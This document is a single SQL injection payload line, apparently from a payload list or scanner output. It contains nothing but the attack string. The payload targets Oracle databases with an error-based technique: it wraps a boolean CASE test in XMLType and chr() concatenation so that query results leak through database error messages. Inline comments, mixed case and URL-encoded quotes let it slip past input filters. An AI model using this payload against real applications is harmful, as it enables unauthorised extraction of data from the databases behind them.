1) WHERE 3944=3944,(selECT/**/upPer(XmlTyPE(chr(60)||CHr(58)||%27~%27||(sELeCT/**/(CASe/**/when/**/(6425=6425)/**/tHEn/**/1/**/elsE/**/0/**/End)/**/From/**/DUAL)||%27~%27||chr(62)))/**/FROm/**/dUAl)-- -